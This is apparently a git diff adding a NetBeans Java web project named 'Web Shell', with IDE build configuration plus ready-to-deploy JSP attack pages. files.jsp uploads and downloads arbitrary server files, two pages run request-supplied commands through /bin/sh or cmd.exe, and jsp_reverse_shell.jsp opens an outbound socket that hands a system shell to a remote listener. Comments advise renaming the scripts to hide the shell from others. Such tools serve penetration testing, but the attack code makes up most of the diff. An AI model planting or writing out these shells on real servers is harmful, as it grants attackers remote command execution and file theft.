+ + + + + Must select some files in the IDE or set javac.jsp.includes + + + + + + + + + + + + + + + + + + + + + + + + + + Must select a file in the IDE or set jsp.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Browser not found, cannot launch the deployed application. Try to set the BROWSER environment variable. + + + Launching ${browse.url} + + + + + + Must select one file in the IDE or set run.class + + + + Must select one file in the IDE or set run.class + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set debug.class + + + + + + + + + + + + Must select one file in the IDE or set debug.class + + + + + Must set fix.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + Some tests failed; see details above. + + + + + + + + + Must select some files in the IDE or set test.includes + + + + Some tests failed; see details above. + + + + Must select some files in the IDE or set test.class + Must select some method in the IDE or set test.method + + + + Some tests failed; see details above. + + + + + Must select one file in the IDE or set test.class + + + + Must select one file in the IDE or set test.class + Must select some method in the IDE or set test.method + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/Web Shell/nbproject/genfiles.properties b/src/Web Shell/nbproject/genfiles.properties new file mode 100644 index 0000000..d3c9086 --- /dev/null +++ b/src/Web Shell/nbproject/genfiles.properties @@ -0,0 +1,8 @@ +build.xml.data.CRC32=26c2afd3 +build.xml.script.CRC32=81e3cf17 +build.xml.stylesheet.CRC32=1707db4f@1.84.0.1 +# This file is used by a NetBeans-based IDE to track changes in generated files such as build-impl.xml. +# Do not edit this file. You may delete it but then the IDE will never regenerate such files for you. +nbproject/build-impl.xml.data.CRC32=26c2afd3 +nbproject/build-impl.xml.script.CRC32=5ee030bd +nbproject/build-impl.xml.stylesheet.CRC32=334708a0@1.84.0.1 diff --git a/src/Web Shell/nbproject/project.properties b/src/Web Shell/nbproject/project.properties new file mode 100644 index 0000000..dc50ae5 --- /dev/null +++ b/src/Web Shell/nbproject/project.properties @@ -0,0 +1,82 @@ +annotation.processing.enabled=true +annotation.processing.enabled.in.editor=true +annotation.processing.processors.list= +annotation.processing.run.all.processors=true +annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output +build.classes.dir=${build.web.dir}/WEB-INF/classes +build.classes.excludes=**/*.java,**/*.form +build.dir=build +build.generated.dir=${build.dir}/generated +build.generated.sources.dir=${build.dir}/generated-sources +build.test.classes.dir=${build.dir}/test/classes +build.test.results.dir=${build.dir}/test/results +build.web.dir=${build.dir}/web +build.web.excludes=${build.classes.excludes} +client.urlPart= +compile.jsps=false +conf.dir=${source.root}/conf +debug.classpath=${build.classes.dir}:${javac.classpath} +debug.test.classpath=\ + ${run.test.classpath} +display.browser=true +# Files to be excluded from distribution war +dist.archive.excludes= +dist.dir=dist +dist.ear.war=${dist.dir}/${war.ear.name} +dist.javadoc.dir=${dist.dir}/javadoc +dist.war=${dist.dir}/${war.name} +excludes= +includes=** +j2ee.compile.on.save=true +j2ee.copy.static.files.on.save=true +j2ee.deploy.on.save=true +j2ee.platform=1.5 +j2ee.platform.classpath=${j2ee.server.domain}/bin/tomcat-juli.jar:${j2ee.server.domain}/lib/annotations-api.jar:${j2ee.server.domain}/lib/catalina-ant.jar:${j2ee.server.domain}/lib/catalina-ha.jar:${j2ee.server.domain}/lib/catalina-tribes.jar:${j2ee.server.domain}/lib/catalina.jar:${j2ee.server.domain}/lib/ecj-4.4.2.jar:${j2ee.server.domain}/lib/el-api.jar:${j2ee.server.domain}/lib/jasper-el.jar:${j2ee.server.domain}/lib/jasper.jar:${j2ee.server.domain}/lib/jsp-api.jar:${j2ee.server.domain}/lib/servlet-api.jar:${j2ee.server.domain}/lib/tomcat-api.jar:${j2ee.server.domain}/lib/tomcat-coyote.jar:${j2ee.server.domain}/lib/tomcat-dbcp.jar:${j2ee.server.domain}/lib/tomcat-i18n-de.jar:${j2ee.server.domain}/lib/tomcat-i18n-es.jar:${j2ee.server.domain}/lib/tomcat-i18n-fr.jar:${j2ee.server.domain}/lib/tomcat-i18n-ja.jar:${j2ee.server.domain}/lib/tomcat-i18n-ko.jar:${j2ee.server.domain}/lib/tomcat-i18n-ru.jar:${j2ee.server.domain}/lib/tomcat-i18n-zh-CN.jar:${j2ee.server.domain}/lib/tomcat-jdbc.jar:${j2ee.server.domain}/lib/tomcat-util.jar:${j2ee.server.domain}/lib/tomcat7-websocket.jar:${j2ee.server.domain}/lib/websocket-api.jar +j2ee.server.type=Tomcat +jar.compress=false +javac.classpath= +# Space-separated list of extra javac options +javac.compilerargs= +javac.debug=true +javac.deprecation=false +javac.processorpath=\ + ${javac.classpath} +javac.source=1.8 +javac.target=1.8 +javac.test.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +javac.test.processorpath=\ + ${javac.test.classpath} +javadoc.additionalparam= +javadoc.author=false +javadoc.encoding=${source.encoding} +javadoc.noindex=false +javadoc.nonavbar=false +javadoc.notree=false +javadoc.preview=true +javadoc.private=false +javadoc.splitindex=true +javadoc.use=true +javadoc.version=false +javadoc.windowtitle= +lib.dir=${web.docbase.dir}/WEB-INF/lib +no.dependencies=false +persistence.xml.dir=${conf.dir} +platform.active=default_platform +resource.dir=setup +run.test.classpath=\ + ${javac.test.classpath}:\ + ${build.test.classes.dir} +# Space-separated list of JVM arguments used when running a class with a main method or a unit test +# (you may also define separate properties like run-sys-prop.name=value instead of -Dname=value): +runmain.jvmargs= +source.encoding=UTF-8 +source.root=src +src.dir=${source.root}/java +test.src.dir=test +war.content.additional= +war.ear.name=${war.name} +war.name=Web_Shell.war +web.docbase.dir=web +webinf.dir=web/WEB-INF diff --git a/src/Web Shell/nbproject/project.xml b/src/Web Shell/nbproject/project.xml new file mode 100644 index 0000000..859d806 --- /dev/null +++ b/src/Web Shell/nbproject/project.xml @@ -0,0 +1,18 @@ + + + org.netbeans.modules.web.project + + + Web Shell + 1.6.5 + + + + + + + + + + + diff --git a/src/Web Shell/src/conf/MANIFEST.MF b/src/Web Shell/src/conf/MANIFEST.MF new file mode 100644 index 0000000..59499bc --- /dev/null +++ b/src/Web Shell/src/conf/MANIFEST.MF @@ -0,0 +1,2 @@ +Manifest-Version: 1.0 + diff --git a/src/Web Shell/web/META-INF/context.xml b/src/Web Shell/web/META-INF/context.xml new file mode 100644 index 0000000..6cd5cd5 --- /dev/null +++ b/src/Web Shell/web/META-INF/context.xml @@ -0,0 +1,2 @@ + + diff --git a/src/Web Shell/web/WEB-INF/web.xml b/src/Web Shell/web/WEB-INF/web.xml new file mode 100644 index 0000000..764689a --- /dev/null +++ b/src/Web Shell/web/WEB-INF/web.xml @@ -0,0 +1,11 @@ + + + + + 30 + + + + index.jsp + + diff --git a/src/Web Shell/web/files.jsp b/src/Web Shell/web/files.jsp new file mode 100644 index 0000000..975c7af --- /dev/null +++ b/src/Web Shell/web/files.jsp @@ -0,0 +1,76 @@ +<%@page import="java.nio.file.Files"%> +<%@page import="java.nio.file.Paths"%> +<%@page import="java.io.File"%> +<%@page import="org.apache.tomcat.util.http.fileupload.FileItem"%> +<%@page import="org.apache.tomcat.util.http.fileupload.servlet.ServletRequestContext"%> +<%@page import="org.apache.tomcat.util.http.fileupload.servlet.ServletFileUpload"%> +<%@page import="org.apache.tomcat.util.http.fileupload.disk.DiskFileItemFactory"%> + +<%@page import="java.util.Iterator"%> +<%-- Copyright (c) 2021 Ivan Šincek --%> +<%-- v3.0 --%> +<%-- Requires Java SE v8 or greater, JDK v8 or greater, and Java EE v5 or greater. --%> + +<%-- modify the script name and request parameter name to random ones to prevent others form accessing and using your web shell --%> +<%-- don't forget to change the script name in the action attribute --%> +<%-- when downloading a file, you should URL encode the file path --%> + +<% + // your parameter/key here + String parameter = "file"; + String output = ""; + if (request.getMethod() == "POST" && request.getContentType() != null && request.getContentType().startsWith("multipart/form-data")) { + Iterator files = new ServletFileUpload(new DiskFileItemFactory()).parseRequest(new ServletRequestContext(request)).iterator(); + while (files.hasNext()) { + FileItem file = (FileItem)files.next(); + if (file.getFieldName().equals(parameter)) { + try { + output = file.getName(); + int pos = output.lastIndexOf(File.separator); + if (pos >= 0) { + output = output.substring(pos + 1); + } + output = System.getProperty("user.dir") + File.separator + output; + file.write(new File(output)); + output = String.format("SUCCESS: File was uploaded to '%s'\n", output); + } catch (Exception ex) { + output = String.format("ERROR: %s\n", ex.getMessage()); + } + } + file = null; + } + files = null; + } + if (request.getMethod() == "GET" && request.getParameter(parameter) != null && request.getParameter(parameter).trim().length() > 0) { + try { + output = request.getParameter(parameter).trim(); + response.setHeader("Content-Type", "application/octet-stream"); + response.setHeader("Content-Disposition", String.format("attachment; filename=\"%s\"", Paths.get(output).getFileName())); + response.getOutputStream().write(Files.readAllBytes(Paths.get(output))); + response.getOutputStream().flush(); + response.getOutputStream().close(); + } catch (Exception ex) { + output = String.format("ERROR: %s\n", ex.getMessage()); + } + } + // if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML + // out.print("
" + output + "
"); output = null; System.gc(); +%> + +<%@page contentType="text/html" pageEncoding="UTF-8"%> + + + + + JSP File Upload/Download + + + + +
+ + +
+
<% out.print(output); output = null; System.gc(); %>
+ + diff --git a/src/Web Shell/web/index.jsp b/src/Web Shell/web/index.jsp new file mode 100644 index 0000000..599532f --- /dev/null +++ b/src/Web Shell/web/index.jsp @@ -0,0 +1,65 @@ +<%-- Copyright (c) 2021 Ivan Šincek --%> +<%-- Requires Java SE v8 or greater, JDK v8 or greater, and Java EE v5 or greater. --%> +<%-- Works on Linux OS, macOS and Windows OS. --%> + +<%@page contentType="text/html" pageEncoding="UTF-8"%> + + + + + Simple Java Web Shells + + + + + + + + diff --git a/src/Web Shell/web/jsp_reverse_shell.jsp b/src/Web Shell/web/jsp_reverse_shell.jsp new file mode 100644 index 0000000..1c1b7ae --- /dev/null +++ b/src/Web Shell/web/jsp_reverse_shell.jsp @@ -0,0 +1,145 @@ +<%@page import="java.net.SocketTimeoutException"%> +<%@page import="java.util.Arrays"%> +<%@page import="java.net.Socket"%> +<%@page import="java.io.IOException"%> +<%@page import="java.io.OutputStream"%> +<%@page import="java.io.InputStream"%> +<%@page import="java.net.InetSocketAddress"%> + +<%-- Copyright (c) 2021 Ivan Šincek --%> +<%-- v3.0 --%> +<%-- Requires Java SE v8 or greater, JDK v8 or greater, and Java EE v5 or greater. --%> +<%-- Works on Linux OS, macOS, and Windows OS. --%> + +<%! + public class ReverseShell { + + private InetSocketAddress addr = null; + private String os = null; + private String shell = null; + private byte[] buffer = null; + private int clen = 0; + private boolean error = false; + private String message = null; + + public ReverseShell(String addr, int port) { + this.addr = new InetSocketAddress(addr, port); + } + + private boolean detect() { + boolean detected = true; + this.os = System.getProperty("os.name").toUpperCase(); + if (this.os.contains("LINUX") || this.os.contains("MAC")) { + this.os = "LINUX"; + this.shell = "/bin/sh"; + } else if (this.os.contains("WIN")) { + this.os = "WINDOWS"; + this.shell = "cmd.exe"; + } else { + detected = false; + this.message = "SYS_ERROR: Underlying operating system is not supported, program will now exit...\n"; + } + return detected; + } + + private String getMessage() { + return this.message; + } + + // strings in Java are immutable, so we need to avoid using them to minimize the data in memory + private void brw(InputStream input, OutputStream output, String iname, String oname) { + int bytes = 0; + try { + do { + if (this.os.equals("WINDOWS") && iname.equals("STDOUT") && this.clen > 0) { + // for some reason Windows OS pipes STDIN into STDOUT + // we do not like that + // we need to discard the data from the stream + do { + bytes = input.read(this.buffer, 0, this.clen >= this.buffer.length ? this.buffer.length : this.clen); + this.clen -= this.clen >= this.buffer.length ? this.buffer.length : this.clen; + } while (bytes > 0 && this.clen > 0); + } else { + bytes = input.read(this.buffer, 0, this.buffer.length); + if (bytes > 0) { + output.write(this.buffer, 0, bytes); + output.flush(); + if (this.os.equals("WINDOWS") && oname.equals("STDIN")) { + this.clen += bytes; + } + } else if (iname.equals("SOCKET")) { + this.error = true; + this.message = "SOC_ERROR: Shell connection has been terminated\n"; + } + } + } while (input.available() > 0); + } catch (SocketTimeoutException ex) {} catch (IOException ex) { + this.error = true; + this.message = String.format("STRM_ERROR: Cannot read from %s or write to %s, program will now exit...\n", iname, oname); + } + } + + public void run() { + if (this.detect()) { + Socket client = null; + OutputStream socin = null; + InputStream socout = null; + + Process process = null; + OutputStream stdin = null; + InputStream stdout = null; + InputStream stderr = null; + + try { + client = new Socket(); + client.setSoTimeout(100); + client.connect(this.addr); + socin = client.getOutputStream(); + socout = client.getInputStream(); + + this.buffer = new byte[1024]; + + process = new ProcessBuilder(this.shell).redirectInput(ProcessBuilder.Redirect.PIPE).redirectOutput(ProcessBuilder.Redirect.PIPE).redirectError(ProcessBuilder.Redirect.PIPE).start(); + stdin = process.getOutputStream(); + stdout = process.getInputStream(); + stderr = process.getErrorStream(); + + do { + if (!process.isAlive()) { + this.message = "PROC_ERROR: Shell process has been terminated\n"; break; + } + this.brw(socout, stdin, "SOCKET", "STDIN"); + if (stderr.available() > 0) { this.brw(stderr, socin, "STDERR", "SOCKET"); } + if (stdout.available() > 0) { this.brw(stdout, socin, "STDOUT", "SOCKET"); } + } while (!this.error); + } catch (IOException ex) { + this.message = String.format("ERROR: %s\n", ex.getMessage()); + } finally { + if (stdin != null) { try { stdin.close() ; } catch (IOException ex) {} } + if (stdout != null) { try { stdout.close(); } catch (IOException ex) {} } + if (stderr != null) { try { stderr.close(); } catch (IOException ex) {} } + if (process != null) { process.destroy(); } + + if (socin != null) { try { socin.close() ; } catch (IOException ex) {} } + if (socout != null) { try { socout.close(); } catch (IOException ex) {} } + if (client != null) { try { client.close(); } catch (IOException ex) {} } + + if (this.buffer != null) { Arrays.fill(this.buffer, (byte)0); } + } + } + } + } +%> + +<%@page contentType="text/html" pageEncoding="UTF-8"%> + +<% + out.print("
");
+    // change the host address and/or port number as necessary
+    ReverseShell sh = new ReverseShell("127.0.0.1", 9000);
+    sh.run();
+    if (sh.getMessage() != null) { out.print(sh.getMessage()); }
+    sh = null;
+    System.gc();
+    out.print("
"); +%> diff --git a/src/Web Shell/web/simple_jsp_web_shell_get.jsp b/src/Web Shell/web/simple_jsp_web_shell_get.jsp new file mode 100644 index 0000000..3d5158e --- /dev/null +++ b/src/Web Shell/web/simple_jsp_web_shell_get.jsp @@ -0,0 +1,72 @@ +<%@page import="java.util.Arrays"%> +<%@page import="java.io.IOException"%> +<%@page import="java.nio.charset.StandardCharsets"%> +<%@page import="java.io.InputStream"%> + +<%-- Copyright (c) 2021 Ivan Šincek --%> +<%-- v3.0 --%> +<%-- Requires Java SE v8 or greater, JDK v8 or greater, and Java EE v5 or greater. --%> +<%-- Works on Linux OS, macOS, and Windows OS. --%> + +<%-- modify the script name and request parameter name to random ones to prevent others form accessing and using your web shell --%> +<%-- you must URL encode your commands --%> + +<% + // your parameter/key here + String parameter = "command"; + String output = ""; + if (request.getMethod() == "GET" && request.getParameter(parameter) != null && request.getParameter(parameter).trim().length() > 0) { + String os = System.getProperty("os.name").toUpperCase(); + String shell = null; + if (os.contains("LINUX") || os.contains("MAC")) { + shell = "/bin/sh -c"; + } else if (os.contains("WIN")) { + shell = "cmd.exe /c"; + } else { + output = "SYS_ERROR: Underlying operating system is not supported\n"; + } + if (shell != null) { + Process process = null; + InputStream stdout = null; + byte[] buffer = null; + + try { + process = Runtime.getRuntime().exec(String.format("%s \"(%s) 2>&1\"", shell, request.getParameter(parameter).trim())); + stdout = process.getInputStream(); + buffer = new byte[1024]; + + int bytes = 0; + do { + bytes = stdout.read(buffer, 0, buffer.length); + if (bytes > 0) { + output += new String(buffer, 0, bytes, StandardCharsets.UTF_8); + } + } while (bytes > 0); + output = output.replace("<", "<"); + output = output.replace(">", ">"); + } catch (IOException ex) { + output = String.format("ERROR: %s\n", ex); + } finally { + if (stdout != null) { try { stdout.close(); } catch (IOException ex) {} stdout = null; } + if (process != null) { process.destroy(); process = null; } + if (buffer != null) { Arrays.fill(buffer, (byte)0); buffer = null; } + } + } + // if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML + // out.print("
" + output + "
"); output = null; System.gc(); + } +%> + +<%@page contentType="text/html" pageEncoding="UTF-8"%> + + + + + Simple JSP Web Shell + + + + +
<% out.print(output); output = null; System.gc(); %>
+ + diff --git a/src/Web Shell/web/simple_jsp_web_shell_post.jsp b/src/Web Shell/web/simple_jsp_web_shell_post.jsp new file mode 100644 index 0000000..d3e79bc --- /dev/null +++ b/src/Web Shell/web/simple_jsp_web_shell_post.jsp @@ -0,0 +1,75 @@ +<%@page import="java.util.Arrays"%> +<%@page import="java.io.IOException"%> +<%@page import="java.nio.charset.StandardCharsets"%> +<%@page import="java.io.InputStream"%> + +<%-- Copyright (c) 2021 Ivan Šincek --%> +<%-- v3.0 --%> +<%-- Requires Java SE v8 or greater, JDK v8 or greater, and Java EE v5 or greater. --%> +<%-- Works on Linux OS, macOS, and Windows OS. --%> + +<%-- modify the script name and request parameter name to random ones to prevent others form accessing and using your web shell --%> +<%-- don't forget to change the script name in the action attribute --%> + +<% + // your parameter/key here + String parameter = "command"; + String output = ""; + if (request.getMethod() == "POST" && request.getParameter(parameter) != null && request.getParameter(parameter).trim().length() > 0) { + String os = System.getProperty("os.name").toUpperCase(); + String shell = null; + if (os.contains("LINUX") || os.contains("MAC")) { + shell = "/bin/sh -c"; + } else if (os.contains("WIN")) { + shell = "cmd.exe /c"; + } else { + output = "SYS_ERROR: Underlying operating system is not supported\n"; + } + if (shell != null) { + Process process = null; + InputStream stdout = null; + byte[] buffer = null; + + try { + process = Runtime.getRuntime().exec(String.format("%s \"(%s) 2>&1\"", shell, request.getParameter(parameter).trim())); + stdout = process.getInputStream(); + buffer = new byte[1024]; + + int bytes = 0; + do { + bytes = stdout.read(buffer, 0, buffer.length); + if (bytes > 0) { + output += new String(buffer, 0, bytes, StandardCharsets.UTF_8); + } + } while (bytes > 0); + output = output.replace("<", "<"); + output = output.replace(">", ">"); + } catch (IOException ex) { + output = String.format("ERROR: %s\n", ex); + } finally { + if (stdout != null) { try { stdout.close(); } catch (IOException ex) {} stdout = null; } + if (process != null) { process.destroy(); process = null; } + if (buffer != null) { Arrays.fill(buffer, (byte)0); buffer = null; } + } + } + // if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML + // out.print("
" + output + "
"); output = null; System.gc(); + } +%> + +<%@page contentType="text/html" pageEncoding="UTF-8"%> + + + + + Simple JSP Web Shell + + + + +
+ +
+
<% out.print(output); output = null; System.gc(); %>
+ +